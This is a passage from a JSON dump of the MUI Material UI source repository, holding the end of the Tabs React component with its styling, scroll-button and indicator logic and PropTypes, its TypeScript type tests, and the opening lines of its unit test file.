scrollButtonsHideMobile,\n    classes,\n  } = ownerState;\n\n  const slots = {\n    root: ['root', vertical && 'vertical'],\n    scroller: [\n      'scroller',\n      fixed && 'fixed',\n      hideScrollbar && 'hideScrollbar',\n      scrollableX && 'scrollableX',\n      scrollableY && 'scrollableY',\n    ],\n    list: ['list', vertical && 'vertical', centered && 'centered'],\n    indicator: ['indicator'],\n    scrollButtons: ['scrollButtons', scrollButtonsHideMobile && 'scrollButtonsHideMobile'],\n    scrollableX: [scrollableX && 'scrollableX'],\n    hideScrollbar: [hideScrollbar && 'hideScrollbar'],\n  };\n\n  return composeClasses(slots, getTabsUtilityClass, classes);\n};\n\nconst TabsRoot = styled('div', {\n  name: 'MuiTabs',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      { [`& .${tabsClasses.scrollButtons}`]: styles.scrollButtons },\n      {\n        [`& .${tabsClasses.scrollButtons}`]:\n          ownerState.scrollButtonsHideMobile && styles.scrollButtonsHideMobile,\n      },\n      styles.root,\n      ownerState.vertical && styles.vertical,\n    ];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    overflow: 'hidden',\n    minHeight: 48,\n    // Add iOS momentum scrolling for iOS < 13.0\n    WebkitOverflowScrolling: 'touch',\n    display: 'flex',\n    variants: [\n      {\n        props: ({ ownerState }) => ownerState.vertical,\n        style: {\n          flexDirection: 'column',\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState.scrollButtonsHideMobile,\n        style: {\n          [`& .${tabsClasses.scrollButtons}`]: {\n            [theme.breakpoints.down('sm')]: {\n              display: 'none',\n            },\n          },\n        },\n      },\n    ],\n  })),\n);\n\nconst TabsScroller = styled('div', {\n  name: 'MuiTabs',\n  slot: 'Scroller',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n    return [\n      styles.scroller,\n      ownerState.fixed && styles.fixed,\n      ownerState.hideScrollbar && styles.hideScrollbar,\n      ownerState.scrollableX && styles.scrollableX,\n      ownerState.scrollableY && styles.scrollableY,\n    ];\n  },\n})({\n  position: 'relative',\n  display: 'inline-block',\n  flex: '1 1 auto',\n  whiteSpace: 'nowrap',\n  variants: [\n    {\n      props: ({ ownerState }) => ownerState.fixed,\n      style: {\n        overflowX: 'hidden',\n        width: '100%',\n      },\n    },\n    {\n      props: ({ ownerState }) => ownerState.hideScrollbar,\n      style: {\n        // Hide dimensionless scrollbar on macOS\n        scrollbarWidth: 'none', // Firefox\n        '&::-webkit-scrollbar': {\n          display: 'none', // Safari + Chrome\n        },\n      },\n    },\n    {\n      props: ({ ownerState }) => ownerState.scrollableX,\n      style: {\n        overflowX: 'auto',\n        overflowY: 'hidden',\n      },\n    },\n    {\n      props: ({ ownerState }) => ownerState.scrollableY,\n      style: {\n        overflowY: 'auto',\n        overflowX: 'hidden',\n      },\n    },\n  ],\n});\n\nconst List = styled('div', {\n  name: 'MuiTabs',\n  slot: 'List',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n    return [styles.list, ownerState.centered && styles.centered];\n  },\n})({\n  display: 'flex',\n  variants: [\n    {\n      props: ({ ownerState }) => ownerState.vertical,\n      style: {\n        flexDirection: 'column',\n      },\n    },\n    {\n      props: ({ ownerState }) => ownerState.centered,\n      style: {\n        justifyContent: 'center',\n      },\n    },\n  ],\n});\n\nconst TabsIndicator = styled('span', {\n  name: 'MuiTabs',\n  slot: 'Indicator',\n})(\n  memoTheme(({ theme }) => ({\n    position: 'absolute',\n    height: 2,\n    bottom: 0,\n    width: '100%',\n    transition: theme.transitions.create(),\n    variants: [\n      {\n        props: {\n          indicatorColor: 'primary',\n        },\n        style: {\n          backgroundColor: (theme.vars || theme).palette.primary.main,\n        },\n      },\n      {\n        props: {\n          indicatorColor: 'secondary',\n        },\n        style: {\n          backgroundColor: (theme.vars || theme).palette.secondary.main,\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState.vertical,\n        style: {\n          height: '100%',\n          width: 2,\n          right: 0,\n        },\n      },\n    ],\n  })),\n);\n\nconst TabsScrollbarSize = styled(ScrollbarSize)({\n  overflowX: 'auto',\n  overflowY: 'hidden',\n  // Hide dimensionless scrollbar on macOS\n  scrollbarWidth: 'none', // Firefox\n  '&::-webkit-scrollbar': {\n    display: 'none', // Safari + Chrome\n  },\n});\n\nconst defaultIndicatorStyle = {};\n\nlet warnedOnceTabPresent = false;\n\nconst Tabs = React.forwardRef(function Tabs(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiTabs' });\n  const theme = useTheme();\n  const isRtl = useRtl();\n  const {\n    'aria-label': ariaLabel,\n    'aria-labelledby': ariaLabelledBy,\n    action,\n    centered = false,\n    children: childrenProp,\n    className,\n    component = 'div',\n    allowScrollButtonsMobile = false,\n    indicatorColor = 'primary',\n    onChange,\n    orientation = 'horizontal',\n    scrollButtons = 'auto',\n    selectionFollowsFocus,\n    slots = {},\n    slotProps = {},\n    textColor = 'primary',\n    value,\n    variant = 'standard',\n    visibleScrollbar = false,\n    ...other\n  } = props;\n  const scrollable = variant === 'scrollable';\n  const vertical = orientation === 'vertical';\n\n  const scrollStart = vertical ? 'scrollTop' : 'scrollLeft';\n  const start = vertical ? 'top' : 'left';\n  const end = vertical ? 'bottom' : 'right';\n  const clientSize = vertical ? 'clientHeight' : 'clientWidth';\n  const size = vertical ? 'height' : 'width';\n\n  const ownerState = {\n    ...props,\n    component,\n    allowScrollButtonsMobile,\n    indicatorColor,\n    orientation,\n    vertical,\n    scrollButtons,\n    textColor,\n    variant,\n    visibleScrollbar,\n    fixed: !scrollable,\n    hideScrollbar: scrollable && !visibleScrollbar,\n    scrollableX: scrollable && !vertical,\n    scrollableY: scrollable && vertical,\n    centered: centered && !scrollable,\n    scrollButtonsHideMobile: !allowScrollButtonsMobile,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  const startScrollButtonIconProps = useSlotProps({\n    elementType: slots.startScrollButtonIcon,\n    externalSlotProps: slotProps.startScrollButtonIcon,\n    ownerState,\n  });\n\n  const endScrollButtonIconProps = useSlotProps({\n    elementType: slots.endScrollButtonIcon,\n    externalSlotProps: slotProps.endScrollButtonIcon,\n    ownerState,\n  });\n\n  if (process.env.NODE_ENV !== 'production') {\n    if (centered && scrollable) {\n      console.error(\n        'MUI: You can not use the `centered={true}` and `variant=\"scrollable\"` properties ' +\n          'at the same time on a `Tabs` component.',\n      );\n    }\n  }\n\n  const [mounted, setMounted] = React.useState(false);\n  const [indicatorStyle, setIndicatorStyle] = React.useState(defaultIndicatorStyle);\n  const [displayStartScroll, setDisplayStartScroll] = React.useState(false);\n  const [displayEndScroll, setDisplayEndScroll] = React.useState(false);\n  const [updateScrollObserver, setUpdateScrollObserver] = React.useState(false);\n\n  const [scrollerStyle, setScrollerStyle] = React.useState({\n    overflow: 'hidden',\n    scrollbarWidth: 0,\n  });\n\n  const valueToIndex = new Map();\n  const tabsRef = React.useRef(null);\n  const tabListRef = React.useRef(null);\n\n  const externalForwardedProps = {\n    slots,\n    slotProps,\n  };\n\n  const getTabsMeta = () => {\n    const tabsNode = tabsRef.current;\n    let tabsMeta;\n    if (tabsNode) {\n      const rect = tabsNode.getBoundingClientRect();\n      // create a new object with ClientRect class props + scrollLeft\n      tabsMeta = {\n        clientWidth: tabsNode.clientWidth,\n        scrollLeft: tabsNode.scrollLeft,\n        scrollTop: tabsNode.scrollTop,\n        scrollWidth: tabsNode.scrollWidth,\n        top: rect.top,\n        bottom: rect.bottom,\n        left: rect.left,\n        right: rect.right,\n      };\n    }\n\n    let tabMeta;\n    if (tabsNode && value !== false) {\n      const children = tabListRef.current.children;\n\n      if (children.length > 0) {\n        const tab = children[valueToIndex.get(value)];\n        if (process.env.NODE_ENV !== 'production') {\n          if (!tab) {\n            console.error(\n              [\n                `MUI: The \\`value\\` provided to the Tabs component is invalid.`,\n                `None of the Tabs' children match with \"${value}\".`,\n                valueToIndex.keys\n                  ? `You can provide one of the following values: ${Array.from(\n                      valueToIndex.keys(),\n                    ).join(', ')}.`\n                  : null,\n              ].join('\\n'),\n            );\n          }\n        }\n        tabMeta = tab ? tab.getBoundingClientRect() : null;\n\n        if (process.env.NODE_ENV !== 'production') {\n          if (\n            isLayoutSupported() &&\n            !warnedOnceTabPresent &&\n            tabMeta &&\n            tabMeta.width === 0 &&\n            tabMeta.height === 0 &&\n            // if the whole Tabs component is hidden, don't warn\n            tabsMeta.clientWidth !== 0\n          ) {\n            tabsMeta = null;\n            console.error(\n              [\n                'MUI: The `value` provided to the Tabs component is invalid.',\n                `The Tab with this \\`value\\` (\"${value}\") is not part of the document layout.`,\n                \"Make sure the tab item is present in the document or that it's not `display: none`.\",\n              ].join('\\n'),\n            );\n\n            warnedOnceTabPresent = true;\n          }\n        }\n      }\n    }\n    return { tabsMeta, tabMeta };\n  };\n\n  const updateIndicatorState = useEventCallback(() => {\n    const { tabsMeta, tabMeta } = getTabsMeta();\n    let startValue = 0;\n    let startIndicator;\n\n    if (vertical) {\n      startIndicator = 'top';\n      if (tabMeta && tabsMeta) {\n        startValue = tabMeta.top - tabsMeta.top + tabsMeta.scrollTop;\n      }\n    } else {\n      startIndicator = isRtl ? 'right' : 'left';\n      if (tabMeta && tabsMeta) {\n        startValue =\n          (isRtl ? -1 : 1) *\n          (tabMeta[startIndicator] - tabsMeta[startIndicator] + tabsMeta.scrollLeft);\n      }\n    }\n\n    const newIndicatorStyle = {\n      [startIndicator]: startValue,\n      // May be wrong until the font is loaded.\n      [size]: tabMeta ? tabMeta[size] : 0,\n    };\n\n    if (\n      typeof indicatorStyle[startIndicator] !== 'number' ||\n      typeof indicatorStyle[size] !== 'number'\n    ) {\n      setIndicatorStyle(newIndicatorStyle);\n    } else {\n      const dStart = Math.abs(indicatorStyle[startIndicator] - newIndicatorStyle[startIndicator]);\n      const dSize = Math.abs(indicatorStyle[size] - newIndicatorStyle[size]);\n\n      if (dStart >= 1 || dSize >= 1) {\n        setIndicatorStyle(newIndicatorStyle);\n      }\n    }\n  });\n\n  const scroll = (scrollValue, { animation = true } = {}) => {\n    if (animation) {\n      animate(scrollStart, tabsRef.current, scrollValue, {\n        duration: theme.transitions.duration.standard,\n      });\n    } else {\n      tabsRef.current[scrollStart] = scrollValue;\n    }\n  };\n\n  const moveTabsScroll = (delta) => {\n    let scrollValue = tabsRef.current[scrollStart];\n\n    if (vertical) {\n      scrollValue += delta;\n    } else {\n      scrollValue += delta * (isRtl ? -1 : 1);\n    }\n\n    scroll(scrollValue);\n  };\n\n  const getScrollSize = () => {\n    const containerSize = tabsRef.current[clientSize];\n    let totalSize = 0;\n    const children = Array.from(tabListRef.current.children);\n\n    for (let i = 0; i < children.length; i += 1) {\n      const tab = children[i];\n      if (totalSize + tab[clientSize] > containerSize) {\n        // If the first item is longer than the container size, then only scroll\n        // by the container size.\n        if (i === 0) {\n          totalSize = containerSize;\n        }\n        break;\n      }\n      totalSize += tab[clientSize];\n    }\n\n    return totalSize;\n  };\n\n  const handleStartScrollClick = () => {\n    moveTabsScroll(-1 * getScrollSize());\n  };\n\n  const handleEndScrollClick = () => {\n    moveTabsScroll(getScrollSize());\n  };\n\n  const [ScrollbarSlot, { onChange: scrollbarOnChange, ...scrollbarSlotProps }] = useSlot(\n    'scrollbar',\n    {\n      className: clsx(classes.scrollableX, classes.hideScrollbar),\n      elementType: TabsScrollbarSize,\n      shouldForwardComponentProp: true,\n      externalForwardedProps,\n      ownerState,\n    },\n  );\n\n  // TODO Remove <ScrollbarSize /> as browser support for hiding the scrollbar\n  // with CSS improves.\n  const handleScrollbarSizeChange = React.useCallback(\n    (scrollbarWidth) => {\n      scrollbarOnChange?.(scrollbarWidth);\n      setScrollerStyle({\n        overflow: null,\n        scrollbarWidth,\n      });\n    },\n    [scrollbarOnChange],\n  );\n\n  const [ScrollButtonsSlot, scrollButtonSlotProps] = useSlot('scrollButtons', {\n    className: classes.scrollButtons,\n    elementType: TabScrollButton,\n    externalForwardedProps,\n    ownerState,\n    additionalProps: {\n      orientation,\n      slots: {\n        StartScrollButtonIcon: slots.startScrollButtonIcon,\n        EndScrollButtonIcon: slots.endScrollButtonIcon,\n      },\n      slotProps: {\n        startScrollButtonIcon: startScrollButtonIconProps,\n        endScrollButtonIcon: endScrollButtonIconProps,\n      },\n    },\n  });\n\n  const getConditionalElements = () => {\n    const conditionalElements = {};\n\n    conditionalElements.scrollbarSizeListener = scrollable ? (\n      <ScrollbarSlot {...scrollbarSlotProps} onChange={handleScrollbarSizeChange} />\n    ) : null;\n\n    const scrollButtonsActive = displayStartScroll || displayEndScroll;\n    const showScrollButtons =\n      scrollable && ((scrollButtons === 'auto' && scrollButtonsActive) || scrollButtons === true);\n\n    conditionalElements.scrollButtonStart = showScrollButtons ? (\n      <ScrollButtonsSlot\n        direction={isRtl ? 'right' : 'left'}\n        onClick={handleStartScrollClick}\n        disabled={!displayStartScroll}\n        {...scrollButtonSlotProps}\n      />\n    ) : null;\n\n    conditionalElements.scrollButtonEnd = showScrollButtons ? (\n      <ScrollButtonsSlot\n        direction={isRtl ? 'left' : 'right'}\n        onClick={handleEndScrollClick}\n        disabled={!displayEndScroll}\n        {...scrollButtonSlotProps}\n      />\n    ) : null;\n\n    return conditionalElements;\n  };\n\n  const scrollSelectedIntoView = useEventCallback((animation) => {\n    const { tabsMeta, tabMeta } = getTabsMeta();\n\n    if (!tabMeta || !tabsMeta) {\n      return;\n    }\n\n    if (tabMeta[start] < tabsMeta[start]) {\n      // left side of button is out of view\n      const nextScrollStart = tabsMeta[scrollStart] + (tabMeta[start] - tabsMeta[start]);\n      scroll(nextScrollStart, { animation });\n    } else if (tabMeta[end] > tabsMeta[end]) {\n      // right side of button is out of view\n      const nextScrollStart = tabsMeta[scrollStart] + (tabMeta[end] - tabsMeta[end]);\n      scroll(nextScrollStart, { animation });\n    }\n  });\n\n  const updateScrollButtonState = useEventCallback(() => {\n    if (scrollable && scrollButtons !== false) {\n      setUpdateScrollObserver(!updateScrollObserver);\n    }\n  });\n\n  React.useEffect(() => {\n    const handleResize = debounce(() => {\n      // If the Tabs component is replaced by Suspense with a fallback, the last\n      // ResizeObserver's handler that runs because of the change in the layout is trying to\n      // access a dom node that is no longer there (as the fallback component is being shown instead).\n      // See https://github.com/mui/material-ui/issues/33276\n      // TODO: Add tests that will ensure the component is not failing when\n      // replaced by Suspense with a fallback, once React is updated to version 18\n      if (tabsRef.current) {\n        updateIndicatorState();\n      }\n    });\n\n    let resizeObserver;\n\n    /**\n     * @type {MutationCallback}\n     */\n    const handleMutation = (records) => {\n      records.forEach((record) => {\n        record.removedNodes.forEach((item) => {\n          resizeObserver?.unobserve(item);\n        });\n        record.addedNodes.forEach((item) => {\n          resizeObserver?.observe(item);\n        });\n      });\n      handleResize();\n      updateScrollButtonState();\n    };\n\n    const win = ownerWindow(tabsRef.current);\n    win.addEventListener('resize', handleResize);\n\n    let mutationObserver;\n\n    if (typeof ResizeObserver !== 'undefined') {\n      resizeObserver = new ResizeObserver(handleResize);\n      Array.from(tabListRef.current.children).forEach((child) => {\n        resizeObserver.observe(child);\n      });\n    }\n\n    if (typeof MutationObserver !== 'undefined') {\n      mutationObserver = new MutationObserver(handleMutation);\n      mutationObserver.observe(tabListRef.current, {\n        childList: true,\n      });\n    }\n\n    return () => {\n      handleResize.clear();\n      win.removeEventListener('resize', handleResize);\n      mutationObserver?.disconnect();\n      resizeObserver?.disconnect();\n    };\n  }, [updateIndicatorState, updateScrollButtonState]);\n\n  /**\n   * Toggle visibility of start and end scroll buttons\n   * Using IntersectionObserver on first and last Tabs.\n   */\n  React.useEffect(() => {\n    const tabListChildren = Array.from(tabListRef.current.children);\n    const length = tabListChildren.length;\n\n    if (\n      typeof IntersectionObserver !== 'undefined' &&\n      length > 0 &&\n      scrollable &&\n      scrollButtons !== false\n    ) {\n      const firstTab = tabListChildren[0];\n      const lastTab = tabListChildren[length - 1];\n      const observerOptions = {\n        root: tabsRef.current,\n        threshold: 0.99,\n      };\n\n      const handleScrollButtonStart = (entries) => {\n        setDisplayStartScroll(!entries[0].isIntersecting);\n      };\n      const firstObserver = new IntersectionObserver(handleScrollButtonStart, observerOptions);\n      firstObserver.observe(firstTab);\n\n      const handleScrollButtonEnd = (entries) => {\n        setDisplayEndScroll(!entries[0].isIntersecting);\n      };\n      const lastObserver = new IntersectionObserver(handleScrollButtonEnd, observerOptions);\n      lastObserver.observe(lastTab);\n\n      return () => {\n        firstObserver.disconnect();\n        lastObserver.disconnect();\n      };\n    }\n\n    return undefined;\n  }, [scrollable, scrollButtons, updateScrollObserver, childrenProp?.length]);\n\n  React.useEffect(() => {\n    setMounted(true);\n  }, []);\n\n  React.useEffect(() => {\n    updateIndicatorState();\n  });\n\n  React.useEffect(() => {\n    // Don't animate on the first render.\n    scrollSelectedIntoView(defaultIndicatorStyle !== indicatorStyle);\n  }, [scrollSelectedIntoView, indicatorStyle]);\n\n  React.useImperativeHandle(\n    action,\n    () => ({\n      updateIndicator: updateIndicatorState,\n      updateScrollButtons: updateScrollButtonState,\n    }),\n    [updateIndicatorState, updateScrollButtonState],\n  );\n\n  const [IndicatorSlot, indicatorSlotProps] = useSlot('indicator', {\n    className: classes.indicator,\n    elementType: TabsIndicator,\n    externalForwardedProps,\n    ownerState,\n    additionalProps: {\n      style: indicatorStyle,\n    },\n  });\n\n  const indicator = <IndicatorSlot {...indicatorSlotProps} />;\n\n  const validChildren = React.Children.toArray(childrenProp)\n    .filter(React.isValidElement)\n    .map((child, index) => {\n      const childValue = child.props.value === undefined ? index : child.props.value;\n\n      if (process.env.NODE_ENV !== 'production') {\n        if (isFragment(child)) {\n          console.error(\n            [\n              \"MUI: The Tabs component doesn't accept a Fragment as a child.\",\n              'Consider providing an array instead.',\n            ].join('\\n'),\n          );\n        }\n      }\n\n      valueToIndex.set(childValue, index);\n\n      return { child, index, childValue };\n    });\n\n  const focusableIndex = valueToIndex.get(value);\n\n  const { getContainerProps, getItemProps } = useRovingTabIndex({\n    focusableIndex,\n    orientation,\n    isRtl,\n  });\n  const rovingTabIndexContainerProps = getContainerProps();\n\n  const children = validChildren.map(({ child, index, childValue }) => {\n    const selected = childValue === value;\n\n    const rovingTabIndexItemProps = getItemProps(index, child.ref);\n\n    return React.cloneElement(child, {\n      fullWidth: variant === 'fullWidth',\n      indicator: selected && !mounted && indicator,\n      selected,\n      selectionFollowsFocus,\n      onChange,\n      textColor,\n      value: childValue,\n      ref: rovingTabIndexItemProps.ref,\n      tabIndex: child.props.tabIndex ?? rovingTabIndexItemProps.tabIndex,\n    });\n  });\n\n  const conditionalElements = getConditionalElements();\n\n  const [RootSlot, rootSlotProps] = useSlot('root', {\n    ref,\n    className: clsx(classes.root, className),\n    elementType: TabsRoot,\n    externalForwardedProps: {\n      ...externalForwardedProps,\n      ...other,\n      component,\n    },\n    ownerState,\n  });\n\n  const [ScrollerSlot, scrollerSlotProps] = useSlot('scroller', {\n    ref: tabsRef,\n    className: classes.scroller,\n    elementType: TabsScroller,\n    externalForwardedProps,\n    ownerState,\n    additionalProps: {\n      style: {\n        overflow: scrollerStyle.overflow,\n        [vertical ? `margin${isRtl ? 'Left' : 'Right'}` : 'marginBottom']: visibleScrollbar\n          ? undefined\n          : -scrollerStyle.scrollbarWidth,\n      },\n    },\n  });\n\n  const mergedRef = useForkRef(rovingTabIndexContainerProps.ref, tabListRef);\n\n  const handleKeyDown = (event) => {\n    const list = tabListRef.current;\n    const currentFocus = getActiveElement(ownerDocument(list));\n    // Keyboard navigation assumes that [role=\"tab\"] are siblings\n    // though we might warn in the future about nested, interactive elements\n    // as a a11y violation\n    const role = currentFocus?.getAttribute('role');\n    if (role !== 'tab') {\n      return;\n    }\n\n    rovingTabIndexContainerProps.onKeyDown(event);\n  };\n\n  const [ListSlot, listSlotProps] = useSlot('list', {\n    ref: mergedRef,\n    className: classes.list,\n    elementType: List,\n    externalForwardedProps,\n    ownerState,\n    getSlotProps: (handlers) => ({\n      ...handlers,\n      onKeyDown: (event) => {\n        handleKeyDown(event);\n        handlers.onKeyDown?.(event);\n      },\n      onFocus: (event) => {\n        rovingTabIndexContainerProps.onFocus(event);\n        handlers.onFocus?.(event);\n      },\n    }),\n  });\n\n  return (\n    <RootSlot {...rootSlotProps}>\n      {conditionalElements.scrollButtonStart}\n      {conditionalElements.scrollbarSizeListener}\n      <ScrollerSlot {...scrollerSlotProps}>\n        {/* The tablist isn't interactive but the tabs are */}\n        <ListSlot\n          aria-label={ariaLabel}\n          aria-labelledby={ariaLabelledBy}\n          aria-orientation={orientation === 'vertical' ? 'vertical' : null}\n          role=\"tablist\"\n          {...listSlotProps}\n        >\n          {children}\n        </ListSlot>\n        {mounted && indicator}\n      </ScrollerSlot>\n      {conditionalElements.scrollButtonEnd}\n    </RootSlot>\n  );\n});\n\nTabs.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * Callback fired when the component mounts.\n   * This is useful when you want to trigger an action programmatically.\n   * It supports two actions: `updateIndicator()` and `updateScrollButtons()`\n   *\n   * @param {object} actions This object contains all possible actions\n   * that can be triggered programmatically.\n   */\n  action: refType,\n  /**\n   * If `true`, the scroll buttons aren't forced hidden on mobile.\n   * By default the scroll buttons are hidden on mobile and takes precedence over `scrollButtons`.\n   * @default false\n   */\n  allowScrollButtonsMobile: PropTypes.bool,\n  /**\n   * The label for the Tabs as a string.\n   */\n  'aria-label': PropTypes.string,\n  /**\n   * An id or list of ids separated by a space that label the Tabs.\n   */\n  'aria-labelledby': PropTypes.string,\n  /**\n   * If `true`, the tabs are centered.\n   * This prop is intended for large views.\n   * @default false\n   */\n  centered: PropTypes.bool,\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * Determines the color of the indicator.\n   * @default 'primary'\n   */\n  indicatorColor: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['primary', 'secondary']),\n    PropTypes.string,\n  ]),\n  /**\n   * Callback fired when the value changes.\n   *\n   * @param {React.SyntheticEvent} event The event source of the callback. **Warning**: This is a generic event not a change event.\n   * @param {any} value We default to the index of the child (number)\n   */\n  onChange: PropTypes.func,\n  /**\n   * The component orientation (layout flow direction).\n   * @default 'horizontal'\n   */\n  orientation: PropTypes.oneOf(['horizontal', 'vertical']),\n  /**\n   * Determine behavior of scroll buttons when tabs are set to scroll:\n   *\n   * - `auto` will only present them when not all the items are visible.\n   * - `true` will always present them.\n   * - `false` will never present them.\n   *\n   * By default the scroll buttons are hidden on mobile.\n   * This behavior can be disabled with `allowScrollButtonsMobile`.\n   * @default 'auto'\n   */\n  scrollButtons: PropTypes /* @typescript-to-proptypes-ignore */.oneOf(['auto', false, true]),\n  /**\n   * If `true` the selected tab changes on focus. Otherwise it only\n   * changes on activation.\n   */\n  selectionFollowsFocus: PropTypes.bool,\n  /**\n   * The props used for each slot inside.\n   * @default {}\n   */\n  slotProps: PropTypes.shape({\n    endScrollButtonIcon: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    indicator: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    list: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    root: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    scrollbar: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    scrollButtons: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    scroller: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    startScrollButtonIcon: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n  }),\n  /**\n   * The components used for each slot inside.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    endScrollButtonIcon: PropTypes.elementType,\n    indicator: PropTypes.elementType,\n    list: PropTypes.elementType,\n    root: PropTypes.elementType,\n    scrollbar: PropTypes.elementType,\n    scrollButtons: PropTypes.elementType,\n    scroller: PropTypes.elementType,\n    startScrollButtonIcon: PropTypes.elementType,\n  }),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * Determines the color of the `Tab`.\n   * @default 'primary'\n   */\n  textColor: PropTypes.oneOf(['inherit', 'primary', 'secondary']),\n  /**\n   * The value of the currently selected `Tab`.\n   * If you don't want any selected `Tab`, you can set this prop to `false`.\n   */\n  value: PropTypes.any,\n  /**\n   * Determines additional display behavior of the tabs:\n   *\n   *  - `scrollable` will invoke scrolling properties and allow for horizontally\n   *  scrolling (or swiping) of the tab bar.\n   *  - `fullWidth` will make the tabs grow to use all the available space,\n   *  which should be used for small views, like on mobile.\n   *  - `standard` will render the default state.\n   * @default 'standard'\n   */\n  variant: PropTypes.oneOf(['fullWidth', 'scrollable', 'standard']),\n  /**\n   * If `true`, the scrollbar is visible. It can be useful when displaying\n   * a long vertical list of tabs.\n   * @default false\n   */\n  visibleScrollbar: PropTypes.bool,\n};\n\nexport default Tabs;\n"
  },
  {
    "path": "packages/mui-material/src/Tabs/Tabs.spec.tsx",
    "content": "import * as React from 'react';\nimport { expectType } from '@mui/types';\nimport { createTheme } from '@mui/material/styles';\nimport Tabs from '@mui/material/Tabs';\nimport SvgIcon from '@mui/material/SvgIcon';\n\nfunction testOnChange() {\n  function handleTabsChange(event: React.SyntheticEvent, tabsValue: unknown) {}\n  <Tabs onChange={handleTabsChange} />;\n\n  function handleElementChange(event: React.ChangeEvent) {}\n  <Tabs\n    // @ts-expect-error internally it's either FocusEvent or ClickEvent\n    onChange={handleElementChange}\n  />;\n}\n\nfunction TabTest() {\n  return <Tabs slotProps={{ indicator: { style: { backgroundColor: 'green' } } }} />;\n}\n\nfunction TabIndicatorSxTest() {\n  return <Tabs slotProps={{ indicator: { sx: {} } }} />;\n}\n\nfunction SampleIcon() {\n  return (\n    <SvgIcon>\n      <path d=\"M10 20v-6h4v6h5v-8h3L12 3 2 12h3v8z\" />\n    </SvgIcon>\n  );\n}\n\n// Test for slots and slotProps\n<Tabs\n  value={0}\n  variant=\"scrollable\"\n  scrollButtons\n  textColor=\"secondary\"\n  slots={{\n    startScrollButtonIcon: SampleIcon,\n    endScrollButtonIcon: SampleIcon,\n  }}\n  slotProps={{\n    endScrollButtonIcon: (ownerState) => ({\n      'data-testid': 'test-label-scrollButtonEnd',\n      fontSize: ownerState.textColor === 'secondary' ? 'large' : 'small',\n    }),\n    startScrollButtonIcon: (ownerState) => ({\n      'data-testid': 'test-label-scrollButtonStart',\n      fontSize: ownerState.textColor === 'secondary' ? 'large' : 'small',\n    }),\n  }}\n/>;\n\n// Test for ref type\n<Tabs\n  ref={(elem) => {\n    expectType<HTMLDivElement | null, typeof elem>(elem);\n  }}\n/>;\n\n<Tabs\n  slots={{\n    root: 'div',\n    scroller: 'div',\n    list: 'div',\n    scrollbar: 'div',\n    indicator: 'div',\n    scrollButtons: 'div',\n    startScrollButtonIcon: 'div',\n    endScrollButtonIcon: 'div',\n  }}\n/>;\n\nconst CustomComponent = React.forwardRef<HTMLDivElement, React.HTMLAttributes<HTMLDivElement>>(\n  (props, ref) => <div ref={ref} {...props} />,\n);\n<Tabs\n  slots={{\n    root: CustomComponent,\n    scroller: CustomComponent,\n    list: CustomComponent,\n    scrollbar: CustomComponent,\n    indicator: CustomComponent,\n    scrollButtons: CustomComponent,\n    startScrollButtonIcon: CustomComponent,\n    endScrollButtonIcon: CustomComponent,\n  }}\n/>;\n\n<Tabs\n  slotProps={{\n    root: {\n      className: 'flex',\n    },\n    scroller: {\n      className: 'flex',\n    },\n    list: {\n      className: 'flex',\n    },\n    scrollbar: {\n      className: 'flex',\n    },\n    indicator: {\n      className: 'flex',\n      sx: {\n        color: 'primary.main',\n      },\n      style: { backgroundColor: 'green' },\n    },\n    scrollButtons: {\n      className: 'flex',\n      disableRipple: true,\n    },\n    startScrollButtonIcon: {\n      className: 'flex',\n      fontSize: 'large',\n    },\n    endScrollButtonIcon: {\n      className: 'flex',\n      fontSize: 'large',\n    },\n  }}\n/>;\n"
  },
  {
    "path": "packages/mui-material/src/Tabs/Tabs.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { spy } from 'sinon';\nimport {\n  act,\n  createRenderer,\n  fireEvent,\n  reactMajor,\n  screen,\n  strictModeDoubleLoggingSuppressed,\n  waitFor,\n  flushEffects,\n  isJsdom,\n} from '@mui/internal-test-utils';\nimport Tab from '@mui/material/Tab';\nimport Tabs, { tabsClasses as classes } from '@mui/material/Tabs';\nimport { svgIconClasses } from '@mui/material/SvgIcon';\nimport { createTheme, ThemeProvider } from '@mui/material/styles';\nimport { createSvgIcon } from '@mui/material/utils';\nimport capitalize from '../utils/capitalize';\nimport describeConformance from '../../test/describeConformance';\n\nconst isJSDOM = isJsdom();\n\nconst ArrowBackIcon = createSvgIcon(<path d=\"M3 3h18v18H3z\" />, 'ArrowBack');\nconst ArrowForwardIcon = createSvgIcon(<path d=\"M3 3h18v18H3z\" />, 'ArrowForward');\n\nfunction findScrollButton(container, direction) {\n  return container.querySelector(`svg[data-testid=\"KeyboardArrow${capitalize(direction)}Icon\"]`);\n}\n\nfunction 